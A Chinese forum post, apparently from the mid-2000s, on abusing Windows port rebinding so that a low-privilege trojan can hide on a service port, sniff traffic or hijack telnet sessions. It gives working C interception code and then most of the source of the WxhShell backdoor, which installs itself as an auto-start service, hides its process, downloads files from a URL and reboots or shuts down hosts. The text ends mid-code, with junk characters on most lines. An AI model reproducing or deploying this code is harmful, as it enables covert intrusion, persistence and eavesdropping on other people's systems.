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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }id)~h_@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tC$+;_=+F  
CE  
  saddr.sin_family = AF_INET; n} !')r  
z=>PjIW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `FNU- I4s  
k5tyOk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oNl-! W   
N;P/$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y c<%f  
0QquxYYw,  
  这意味着什么?意味着可以进行如下的攻击: hUp3$4w  
&WAU[{4W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +/n]9l]#h  
$^ir3f+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KYKF$@ <G  
?wmu 0rR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qkc,93B3  
I Gb'ii=A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QjJlVlp  
[a$1{[|)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xOg|<Nnl  
*kF/yN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jL5O{R[ x:  
^tm2Duv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;UX9Em  
}V.fY3J-  
  #include F$JA IL{W  
  #include %Gu=Dkz  
  #include :18}$  
  #include    hZUS#75M5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jL4"FTcE]3  
  int main() P&5vVA6K7  
  { #q0xlF@  
  WORD wVersionRequested; GO][`zZJ]  
  DWORD ret; XM?c*,=fu  
  WSADATA wsaData; i ^N}avO  
  BOOL val; Cx(HsJ! ,  
  SOCKADDR_IN saddr; {O!;cI~  
  SOCKADDR_IN scaddr; r[kHVT8  
  int err; !{uV-c-5,  
  SOCKET s; C5Fq%y{$.  
  SOCKET sc; 1ATH$x  
  int caddsize; e2;=OoBK  
  HANDLE mt; l<sWM$ez  
  DWORD tid;   2e ~RM2PQ  
  wVersionRequested = MAKEWORD( 2, 2 ); HQ4WunH2Y  
  err = WSAStartup( wVersionRequested, &wsaData ); AC fhy[,  
  if ( err != 0 ) { WYCDEoqU2  
  printf("error!WSAStartup failed!\n"); \[+':o`LH  
  return -1; Z Wx[@5  
  } #vBSg  
  saddr.sin_family = AF_INET; R5uz<  
   >i61+uzEd+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {EU]\Mp0j  
;yZY2)L   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /dX,]OFm  
  saddr.sin_port = htons(23); vl%Pg !l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7#*O|t/'  
  { aM8z_j!!u  
  printf("error!socket failed!\n"); /~<Przw  
  return -1; MD>E0p)  
  } mn{R>  
  val = TRUE; Xa>c ]j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -M[BC~!0;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S|@ Y !  
  { 7#T@CKdUd  
  printf("error!setsockopt failed!\n"); 1 EV0Y]T1  
  return -1; Dp@m"_1`+  
  } <sGioMr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >6;RTN/P2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cetlr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JvW!w)$pY  
,Qe`(vU*s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )GC[xo4bg  
  { aO\@5i_r  
  ret=GetLastError(); FW<YN;  
  printf("error!bind failed!\n"); Gh'{O/F4*  
  return -1; :J5CmU $  
  } uk.x1*0x  
  listen(s,2); i2Gh!5]f  
  while(1) H{d/%}7[v  
  { #: ,X^"w3  
  caddsize = sizeof(scaddr); <lSo7NkR  
  //接受连接请求 DB] ]6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IifH=%2Y  
  if(sc!=INVALID_SOCKET) xU9^8,6  
  { } /Iw]!lK2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &gm/@_  
  if(mt==NULL) o`ODz[04  
  { bqR0./V  
  printf("Thread Creat Failed!\n"); hA"z0Fszh  
  break; ue}lAW{q  
  } `jDmbD +=  
  } -32.g \]  
  CloseHandle(mt); +G!;:o  
  } >LR+dShG  
  closesocket(s); BQ~&gy{  
  WSACleanup(); v{U1B  
  return 0; =(5}0}j  
  }   QV%eTA  
  DWORD WINAPI ClientThread(LPVOID lpParam) b@[5xv\J  
  { ~x +24/qT  
  SOCKET ss = (SOCKET)lpParam; TUO#6  
  SOCKET sc; > Gxu8,_;  
  unsigned char buf[4096]; @/?$ZX/e[  
  SOCKADDR_IN saddr; pM@0>DVi  
  long num; opxPK=kJ  
  DWORD val; ga91#NWgK  
  DWORD ret; fbW#6:Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wuji'sxTs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MXpj_+@  
  saddr.sin_family = AF_INET; {D&:^f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K:sC6|wG  
  saddr.sin_port = htons(23); 1FC 1*7A[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9hs7B!3pc>  
  { !1?Nc}T0Q&  
  printf("error!socket failed!\n"); z#| tl/aP9  
  return -1; (KG>lTdN  
  } KfNR)  
  val = 100; uwb>q"M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?Wp{tB9N0  
  { PR1%  
  ret = GetLastError(); j,JGs[A  
  return -1; nF| m*_DW  
  } <0)@Ikhx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uI[lrMQYa  
  { $;+`sVG  
  ret = GetLastError(); o//PlG~  
  return -1; V0 OT_F  
  } jvos)$;L-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) utwqP~  
  { 9Fxz9_ i  
  printf("error!socket connect failed!\n"); Rs%6O|u7  
  closesocket(sc); Wj. _{  
  closesocket(ss); ~x}=lKN  
  return -1; T\Q)"GB  
  } 8/E?3a_g-  
  while(1) xo_Es?  
  { E%+1^ L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +EgQj*F*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !~k-S exh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 niN$!k+Jr  
  num = recv(ss,buf,4096,0); ^k?Ig.m  
  if(num>0) =2[cpF]  
  send(sc,buf,num,0); >U$,/_uMNW  
  else if(num==0) F D6>[W  
  break; r&ex<(I{  
  num = recv(sc,buf,4096,0); ^Q4m1? 40  
  if(num>0) v0}.!u>Ww  
  send(ss,buf,num,0); 5 gbJTh<JU  
  else if(num==0) n.Q?@\}2  
  break; #| Et9  
  } w_i$/`i+  
  closesocket(ss); 8[;U|SR"  
  closesocket(sc); -xf=dzm)  
  return 0 ; G%K<YyAP  
  } 8aD4 wc  
`ja**re  
C '}8  
========================================================== l2!4}zI2  
~?{@0,$  
下边附上一个代码,,WXhSHELL dKyX70Zy9  
!Hr +|HKQ?  
========================================================== v 1O* Q  
5fBW#6N/  
#include "stdafx.h" hU `H\LE  
cS ;hyLd  
#include <stdio.h> 2$? )VXtw  
#include <string.h> =lG5Kc{B  
#include <windows.h> ]E)gMf   
#include <winsock2.h> 8ESBui3;  
#include <winsvc.h> ;wz YZ5=Di  
#include <urlmon.h> CxtH?9# |  
%-:6#b z  
#pragma comment (lib, "Ws2_32.lib") 8P'>%G<m  
#pragma comment (lib, "urlmon.lib") Piz/vH6M}  
vf(\?Js ,  
#define MAX_USER   100 // 最大客户端连接数 kqA`d  
#define BUF_SOCK   200 // sock buffer _>*$%R  
#define KEY_BUFF   255 // 输入 buffer A_@#V)D2  
. \fzK  
#define REBOOT     0   // 重启 E-i rB/0  
#define SHUTDOWN   1   // 关机 I=pT fkTT  
Y0U<l1(|  
#define DEF_PORT   5000 // 监听端口 p9 |r y+t  
U:xr['  
#define REG_LEN     16   // 注册表键长度 t{K1ht$[:  
#define SVC_LEN     80   // NT服务名长度 nMXSpX>!|  
[ua{qJ9  
// 从dll定义API ]pr;ME<M{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nQvv'%v0   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %c(':vI#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hun/H4f|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z@biX  
I "9S  
// wxhshell配置信息 !UlG! 820  
struct WSCFG { O- &>Dc  
  int ws_port;         // 监听端口 pXCmyLQ  
  char ws_passstr[REG_LEN]; // 口令 jQ_j#_Vle  
  int ws_autoins;       // 安装标记, 1=yes 0=no dd>stp   
  char ws_regname[REG_LEN]; // 注册表键名 :\48=>  
  char ws_svcname[REG_LEN]; // 服务名 ek#{!9-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [>4Ou^=1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xi1/wbC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WrL&$dEJ?M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U)+Yh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [*#ms=Zdc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fXBA P10#  
O6;7'  
}; _y),C   
 #IyxH$  
// default Wxhshell configuration icHc!m?  
struct WSCFG wscfg={DEF_PORT, 4RNB\D  
    "xuhuanlingzhe", y%\kgWV  
    1, H{`S/>)[   
    "Wxhshell", m> ?OjA!  
    "Wxhshell", 2bfKD'!aH  
            "WxhShell Service", 4?,N;Q  
    "Wrsky Windows CmdShell Service", +=^10D  
    "Please Input Your Password: ", a4L8MgF&$-  
  1, $v+Q~\'  
  "http://www.wrsky.com/wxhshell.exe", N'!a{rF  
  "Wxhshell.exe" F\Ex$:%~  
    }; =\?KC)F*e  
BD9W-mF  
// 消息定义模块 {(A Ys*5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'ac %]}`-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M"#xjP.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9dr\=e6) C  
char *msg_ws_ext="\n\rExit."; z'MOuz~Y  
char *msg_ws_end="\n\rQuit."; u:3~Ius  
char *msg_ws_boot="\n\rReboot..."; zVYX#- nv  
char *msg_ws_poff="\n\rShutdown..."; p0UR5A>p  
char *msg_ws_down="\n\rSave to "; Edc<  8-  
CbA!  
char *msg_ws_err="\n\rErr!"; :}v&TQ  
char *msg_ws_ok="\n\rOK!"; diGPTV-?$  
ub6=^`>h  
char ExeFile[MAX_PATH]; ;dNKe.`Dg  
int nUser = 0; cRK1JxU  
HANDLE handles[MAX_USER]; 7g cr$&+e  
int OsIsNt; JV Fn=Mw  
B{lBUv(B  
SERVICE_STATUS       serviceStatus; V,fSn:8%M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uMtq4.  
$3|++?  
// 函数声明 A$Mmnu%  
int Install(void); 2}[)y\`t3  
int Uninstall(void); vZmM=hW~  
int DownloadFile(char *sURL, SOCKET wsh); U|={LU  
int Boot(int flag); ogH{   
void HideProc(void); Lk6UT)C  
int GetOsVer(void); 1j "/}0fx  
int Wxhshell(SOCKET wsl); I1S*=^Z_U  
void TalkWithClient(void *cs); mTT1,|  
int CmdShell(SOCKET sock); L\XnTL{  
int StartFromService(void); m@R!o  
int StartWxhshell(LPSTR lpCmdLine); )Y+n4UL3NK  
X<m#:0iD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %,E\8{I+  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  PW x9CT  
c=K . |g,  
// 数据结构和表定义 >&7K|$y.J  
SERVICE_TABLE_ENTRY DispatchTable[] = MJd!J ]E6  
{ UYn5Pix  
{wscfg.ws_svcname, NTServiceMain}, J1T_wA_  
{NULL, NULL} oQ1>*[e<u  
}; KyK%2:  
^+^#KC8]W  
// 自我安装 anjU3j  
int Install(void) !jGe_xB}~  
{ ,&rlt+wE  
  char svExeFile[MAX_PATH]; z;JyHC)  
  HKEY key; E4 GtJ`{X  
  strcpy(svExeFile,ExeFile); w xKlBx7  
qR/~a  
// 如果是win9x系统,修改注册表设为自启动 DpH+lpC  
if(!OsIsNt) { \3LP@;Phn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oW3j|V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I{U7BZy  
  RegCloseKey(key); gE]6]L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D]\of#%T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FCnOvF65  
  RegCloseKey(key); $8vZiB!"  
  return 0; nj$TdwZbK  
    } Kur3Gf X  
  } ]KdSwIbi  
} 7)tkqfb]  
else { ]1h W/!  
"`qmeZ$rg  
// 如果是NT以上系统,安装为系统服务 uT:'Kkb!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S=B?bD_,c  
if (schSCManager!=0) ,$s NfW  
{ GX?R# cf  
  SC_HANDLE schService = CreateService z{Z4{&M  
  ( (3~h)vaJ  
  schSCManager, jR[VPm=  
  wscfg.ws_svcname, lZ|+.T!g?  
  wscfg.ws_svcdisp, lKWe=xY\B  
  SERVICE_ALL_ACCESS, u0 myB/`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Ild>_Tdb`  
  SERVICE_AUTO_START, 2CcUClP$  
  SERVICE_ERROR_NORMAL, f]%:.N~1w  
  svExeFile, =jXBF.  
  NULL, #@FMH*?xX6  
  NULL, m:&go2Y  
  NULL, h|qTMwPr  
  NULL, BdBwfH%:  
  NULL yuIy?K  
  ); Cw6\'p%l-\  
  if (schService!=0) 0M=A,`qk  
  { ybNo`:8 A;  
  CloseServiceHandle(schService); Yuo:hF\DH  
  CloseServiceHandle(schSCManager); M3 MB{cA2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Iv])s  
  strcat(svExeFile,wscfg.ws_svcname); g>` k9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LtIp,2GP&_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * -uA\  
  RegCloseKey(key); Y;2WY 0eq  
  return 0; $eHYy,,  
    } !\|_,pSB  
  } LCBP9Rftvd  
  CloseServiceHandle(schSCManager); rlxZ,]ul  
} w5fVug/;P  
} hOFC8g  
O0^m_  
return 1; )Fk*'6  
} 9o%k [n  
e1cqzhI=nA  
// 自我卸载 e}lF#$  
int Uninstall(void) tVfZ~q J  
{ CjR!dh1w_  
  HKEY key; eX)'C>4W  
B xAyjA6  
if(!OsIsNt) { {A^3<=|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wwh1aV *  
  RegDeleteValue(key,wscfg.ws_regname); Sc b'  
  RegCloseKey(key); xqm-m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qzon);#7w  
  RegDeleteValue(key,wscfg.ws_regname); T.bn~Z#f  
  RegCloseKey(key); 0'wchy>  
  return 0;  +_E^E  
  } p>#sR4d>  
} Q1kZ+b&  
} F8xz^UQO  
else { ^mH:8_=(.  
HSwC4y}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2 |`7_*\  
if (schSCManager!=0) -gn!8G1  
{ -S\gDB bb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |L9p.q  
  if (schService!=0) v 9k\[E?  
  { _2Zc?*4  
  if(DeleteService(schService)!=0) { ?+)>JvWDz  
  CloseServiceHandle(schService); p : {,~ 1  
  CloseServiceHandle(schSCManager); aH/8&.JLi  
  return 0; ;Mw<{X-  
  } Ms<v81z5T  
  CloseServiceHandle(schService); 79&=MTM  
  } C#qF&n  
  CloseServiceHandle(schSCManager); i.Rxx, *?  
} Jb/VITqN4  
} @LSfP  
;t~Y>,  
return 1; d+45Y,|  
} g)dKXsy(F  
g)!d03Qoy  
// 从指定url下载文件 \jmT#Gt`9  
int DownloadFile(char *sURL, SOCKET wsh) inHlL  
{ a``/x_EZMn  
  HRESULT hr; h\T}$jgfWm  
char seps[]= "/"; PGd?c#v#  
char *token; J,G/L!Bp  
char *file; .R^R32ln  
char myURL[MAX_PATH]; QXI#gA  =  
char myFILE[MAX_PATH]; q}P UwN6  
mX/'Fta  
strcpy(myURL,sURL); OYyF*F&S[  
  token=strtok(myURL,seps); C5,\DdCX,  
  while(token!=NULL) ,NAwSmocVP  
  { xWK0p'E0  
    file=token; k1'd';gQ  
  token=strtok(NULL,seps); ilRPV'S^  
  } /'4]"%i%3  
-e\OF3 Td  
GetCurrentDirectory(MAX_PATH,myFILE); ]FNe&o1zX  
strcat(myFILE, "\\"); $bU.6  
strcat(myFILE, file); <=~*`eWV  
  send(wsh,myFILE,strlen(myFILE),0); GX+Gqj.  
send(wsh,"...",3,0); _TwE ym.V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |.OS7Gt?  
  if(hr==S_OK) &( ZEs c  
return 0; h e=A%s  
else ;fYJ]5>  
return 1; HQZJK82  
wZ5k|5KtW  
} HCKocL/]h  
_BEDQb{"|  
// 系统电源模块 EG8%X"p  
int Boot(int flag) ZU$QwI8  
{ ep6V2R  
  HANDLE hToken; 6&"*{E  
  TOKEN_PRIVILEGES tkp; wG&Z7C b  
|w"G4J6ha  
  if(OsIsNt) { =}" P;4:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nt%fJ k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !a4`SjOgu  
    tkp.PrivilegeCount = 1; ')T*cLQ><  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]`q]\EH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y*Gq VA[  
if(flag==REBOOT) { ^V~^[Yp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R5 i xG9  
  return 0; _'|C-j`u$  
} 9ec>#Vxx  
else { z57q |  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $a|>>?8  
  return 0; 5g`J}@"k  
} S c ijf 9  
  } gj7'4 3 ?W  
  else { IL,iu  
if(flag==REBOOT) { 33ZHrZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jt:)(&-t   
  return 0; >E7s}bL"  
} 4~AY: ib|  
else { >uo=0=9=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?AVnv(_  
  return 0; bN&DotG  
} :*vSC:q  
} Z6zLL   
[x%8l,O #l  
return 1; eNK6=D|  
} y(*5qa<>  
4av  
// win9x进程隐藏模块 ^jXKM!}-E  
void HideProc(void) `46|VQAx  
{ S\ K[l/  
uF ;8B]"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _} j6Pw'  
  if ( hKernel != NULL ) g* -}9~  
  { RT2&^9-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); - i{1h"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ac,<+y7A  
    FreeLibrary(hKernel); j*FpQiBoT  
  } i!G<sfL  
hXD`OlX  
return; sZwa#CQKq  
} Ld'3uM/  
6o^O%:0g  
// 获取操作系统版本 >CqZ75>  
int GetOsVer(void) u= Ga}  
{ NA YwuE-`  
  OSVERSIONINFO winfo; >_#A*B|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]D^zTl3=q  
  GetVersionEx(&winfo); ^U^K\rq 1u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q>xp 90&.n  
  return 1; f*EDSJu\  
  else K#N5S]2yb  
  return 0; ZftucD|ZY/  
} 8/}S/$  
Y3ypca&P9  
// 客户端句柄模块 J! "m{ 8-  
int Wxhshell(SOCKET wsl) ;xSlRTNT=6  
{ ug/P>0  
  SOCKET wsh; Ko!a`I2M}  
  struct sockaddr_in client; ]E*xn  
  DWORD myID; 6J965eM'[  
&m`@6\N(  
  while(nUser<MAX_USER) fG<[zt\e  
{ BA9;=orx  
  int nSize=sizeof(client); CHdYY7\{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;p"#ZS7  
  if(wsh==INVALID_SOCKET) return 1; <^+&A7 Q-_  
V oyRB2t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M2A3]wd2a  
if(handles[nUser]==0) oMxpdG3y-  
  closesocket(wsh); S,s") )A1  
else (9)uZ-BF,  
  nUser++; [C3wjYi  
  } U9Lo0K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tbB.n  
YCBUc<)  
  return 0; v){X&HbP  
} r2&/Ii+  
RRtOBrIedI  
// 关闭 socket km}E&ao  
void CloseIt(SOCKET wsh) CbMClnF  
{ $cGV)[KWp@  
closesocket(wsh); O_D;_v6Ii+  
nUser--; _z3^.QP  
ExitThread(0); [5]* Be  
} Ct0%3]<J  
G)=+Nt\ *  
// 客户端请求句柄 ^56#{~%^?  
void TalkWithClient(void *cs) >SS979  
{ &qV_|f;  
++}#pl8e  
  SOCKET wsh=(SOCKET)cs; LfsOGC  
  char pwd[SVC_LEN]; fM<g++X  
  char cmd[KEY_BUFF]; MENrP5AL  
char chr[1]; zENo2#{_N  
int i,j; /j:-GJb*!u  
]r1Lr{7^S  
  while (nUser < MAX_USER) { Y2>*' nU  
?nozB|*>ut  
if(wscfg.ws_passstr) { !_:|mu'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +s5Yg,4*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z.0mX#  
  //ZeroMemory(pwd,KEY_BUFF); zQtx!k=  
      i=0; Z?'?+48xv4  
  while(i<SVC_LEN) { Wp=:|J   
0urM@/j+  
  // 设置超时 P' k`H  
  fd_set FdRead; M-5zsN  
  struct timeval TimeOut; !?m8UE  
  FD_ZERO(&FdRead); =(,dI [v  
  FD_SET(wsh,&FdRead); \'x?VVw  
  TimeOut.tv_sec=8; ~ [=2d a  
  TimeOut.tv_usec=0; T) cbpkH4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gk"J+uM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9riKSp:5  
 ePI)~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x{{ZV]  
  pwd=chr[0]; ;7yt,b5&C  
  if(chr[0]==0xd || chr[0]==0xa) { B=2f-o  
  pwd=0; +'D #VG  
  break; "\kr;X'  
  } D?cE$P  
  i++; n 4EZy<~m  
    } zj'uKBDl  
;Z#DB$o\  
  // 如果是非法用户,关闭 socket cK2Us+h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S]DYEL$  
} "cX*GTNi8  
V, e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5,?Au  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ `Y1   
9Dx9alJR  
while(1) { }!Xj{Eoc  
xW'(]Z7_  
  ZeroMemory(cmd,KEY_BUFF); +tFl  
4";[Xr{pW  
      // 自动支持客户端 telnet标准   ,:/3'L  
  j=0; %D*yXNsY  
  while(j<KEY_BUFF) { CFx$r_!~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Ue1}'v*,  
  cmd[j]=chr[0]; J+8T Ie  
  if(chr[0]==0xa || chr[0]==0xd) { 31}kNc}n  
  cmd[j]=0; zI3Bb?4.  
  break; X6: c-  
  } jiAN8t*P  
  j++; Yc1ve  
    } Uzd\#edxJ  
MQGR-WV=5  
  // 下载文件 mkt%|Kb.  
  if(strstr(cmd,"http://")) { /bv4/P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {AqPQeNgz  
  if(DownloadFile(cmd,wsh)) 0~j0x#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V$<5`  
  else FG5t\!dt<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )3~):+  
  } [?Q$b5j/M  
  else { }KwL_\>&f  
mw&)j R$&  
    switch(cmd[0]) { giz#(61j^  
  tsu Mt  
  // 帮助 DU-&bm  
  case '?': { G2}e@L0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +eD+Z.{  
    break; ) %&~CW+  
  } xA2 "i2k9  
  // 安装 ,_2ZKO/k$  
  case 'i': { :*/`"M)'  
    if(Install()) Ta3qEVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ln6Hr^@5  
    else `>cBR,)r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); weky 5(:  
    break; "i;c)ZP  
    } 2hI|] p  
  // 卸载 *_7%n-k  
  case 'r': { V0x;*)\PYm  
    if(Uninstall()) 8z h{?0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ri k0F  
    else $Y5m"wySZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bk~6Osp  
    break; pT`oC&  
    } O o+pi$W  
  // 显示 wxhshell 所在路径 `aW>h8$I)  
  case 'p': { ^5 sO;vf  
    char svExeFile[MAX_PATH]; v5;V$EGD&  
    strcpy(svExeFile,"\n\r"); f?A1=lm~  
      strcat(svExeFile,ExeFile); |[}!E/7>b  
        send(wsh,svExeFile,strlen(svExeFile),0); I ;Sm<P7*  
    break; ? @Y'_f  
    } <wZ2S3RNA  
  // 重启 N3J;_=<4  
  case 'b': { |B;tv#mKD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :v!e8kM\x  
    if(Boot(REBOOT)) ]V K%6PQ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .`3O4]N[  
    else { ==\Qj{ 7`  
    closesocket(wsh); e$3{URg  
    ExitThread(0); ]e+88eQ  
    } C.[abpc  
    break; @Js^=G2  
    } af<R.  
  // 关机 (/r l\I  
  case 'd': { lU[" ZFP  
